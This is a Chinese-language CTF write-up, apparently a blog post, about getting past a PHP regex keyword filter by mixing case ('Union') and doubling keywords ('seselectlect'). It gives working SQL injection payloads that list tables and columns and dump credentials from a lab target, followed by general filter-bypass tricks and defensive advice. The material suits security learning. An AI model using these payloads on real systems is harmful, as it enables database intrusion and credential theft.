一、前言

在CTF Web安全题型中,关键词正则过滤绕过SQL注入是仅次于基础联合注入的高频考点。题目会通过PHP正则函数拦截unionselect等核心注入关键词,封禁常规注入Payload。

很多新手遇到过滤场景直接无从下手,本文将针对 preg_match + preg_replace 双层过滤环境,拆解大小写变形绕过+双写关键词绕过组合技巧,手把手完成从漏洞探测到获取Flag的全过程复现。


二、题目环境与核心源码解析

2.1 题目基本信息

  • 目标地址:http://180.76.235.121:33259/?id=1

  • 请求方式:GET请求

  • 漏洞类型:字符型SQL注入

  • 核心考点:PHP正则过滤特性、关键词双写绕过、大小写变形绕过

2.2 题目防护源码逐行解析

题目核心防护代码如下,通过两个正则函数对注入核心关键词进行拦截和清空,我们逐一分析漏洞缺陷:


<?php // 核心过滤逻辑 if (preg_match('/union/', $id)) { die('no union'); } $id = preg_replace('/select/i', '', $id); ?>

防护规则1:preg_match 拦截union关键词

正则表达式 /union/无i修饰符,仅精准匹配全小写的 union 字符串。只要传入参数包含小写union就会直接终止程序,输出 no union,但对大小写混合、大写变形完全无效。

防护规则2:preg_replace 清空select关键词

正则表达式 /select/i携带i修饰符,不区分大小写匹配select,匹配成功后将关键词替换为空字符串。该函数仅执行单次匹配替换,存在经典的双写绕过漏洞。


三、双层过滤绕过核心思路

针对两种不同的正则防护机制,我们采用差异化绕过方案,组合构造可用注入Payload:

3.1 union 拦截绕过:大小写变形

由于 preg_match 仅识别小写union,我们只需打破全小写格式即可完美绕过。

  • 禁止使用:union(全小写,会被拦截)

  • 可用变形:UnionUNIONuNiOn 等大小写混合格式

3.2 select 清空绕过:双写关键词

preg_replace 仅单次匹配替换字符串,不会循环过滤。利用该特性构造双写关键词,替换后可自动拼接还原完整select。

  • 构造变形:seselectlect

  • 绕过原理:函数匹配中间的 select 并清空,剩余前后字符拼接,还原为完整的 select

  • 替换过程:seselectlect → 替换中间select为空 → select


四、漏洞确认与Payload构造实战

步骤1:确认注入点与闭合方式

1. 正常访问测试:http://180.76.235.121:33259/?id=1,页面正常输出内容,id参数可控。

2. 单引号闭合测试:http://180.76.235.121:33259/?id=1',页面出现SQL语法报错。

结论:目标为字符型SQL注入,需使用单引号闭合原有SQL语句。

步骤2:构造完整绕过Payload

结合上述绕过思路,组合关键词变形,构造查询数据库名的核心Payload:


?id=1' Union seselectlect 1,database() %23

参数逐段解析

  • 1':单引号闭合后端原SQL语句,构造恶意语句执行条件

  • Union:首字母大写变形,绕过小写union正则拦截

  • seselectlect:双写关键词,绕过select清空过滤,自动还原有效查询关键词

  • 1,database():联合查询字段,查询当前数据库名称

  • %23:URL编码的#注释符,注释多余SQL语句,避免语法报错

步骤3:Payload执行结果

发送请求后,页面成功执行SQL语句并返回提示:

好像报错注入也用不了,不显示报错内容啊!数据库名是一个文件名,访问这个文件试试!

由此证明:双层正则防护已被成功绕过,恶意SQL语句可正常执行。


五、完整注入流程,逐级获取Flag

全程复用上述绕过规则,依次查询数据表、字段、核心Flag数据。

1. 查询当前数据库所有表名


?id=1' Union seselectlect 1,group_concat(table_name) from information_schema.tables where table_schema=database() %23

查询结果:得到数据表名 users

2. 查询users表所有字段名


?id=1' Union seselectlect 1,group_concat(column_name) from information_schema.columns where table_name='users' %23

查询结果:得到字段 id,username,password

3. 查询数据表数据,获取Flag


?id=1' Union seselectlect 1,concat(username,':',password) from users %23

最终回显数据username:1 password:flag_0fb5aa9e7.txt

password字段内容即为本题核心Flag,注入通关!


六、核心原理总结与同类绕过技巧

6.1 本题绕过原理对照表

防护函数与规则

绕过方式

核心原理

preg_match('/union/') 小写精准匹配

大小写变形(Union/UNION)

无i修饰符,仅识别全小写关键词,大小写混合无法匹配拦截

preg_replace('/select/i') 不区分大小写清空

双写关键词(seselectlect)

单次替换特性,中间关键词被清空,前后字符拼接还原有效指令

6.2 同类正则过滤通用绕过技巧

过滤场景

通用绕过方式

示例

无大小写匹配的preg_match

大小写变形、注释穿插绕过

KeyWord、key/*word*/

不区分大小写preg_replace单次过滤

双写、嵌套关键词绕过

kekeywordyword 替换还原为 keyword

多关键词严格过滤

URL编码、Unicode编码、分段拼接

%73%65%6c%65%63%74(select编码)

6.3 安全防御优化建议

  • 正则匹配统一添加 /i 修饰符,实现大小写不敏感全局匹配,杜绝变形绕过;

  • 对用户输入执行循环多次过滤,解决单次替换导致的双写绕过漏洞;

  • 杜绝直接拼接用户可控参数至SQL语句,使用MySQL预编译语句+参数绑定,从底层杜绝SQL注入;

  • 对特殊字符、注释符、SQL关键字做全局黑名单拦截。


七、结语

本题是CTF Web安全中正则过滤绕过注入的经典入门题型,核心不在于复杂的Payload构造,而是理解 preg_matchpreg_replace 两个PHP正则函数的执行特性与缺陷。

掌握大小写变形双写关键词两大核心绕过技巧,可以解决80%以上的基础关键词过滤注入题型,为后续堆叠注入、复杂WAF绕过等高阶题型打下坚实基础。

更多推荐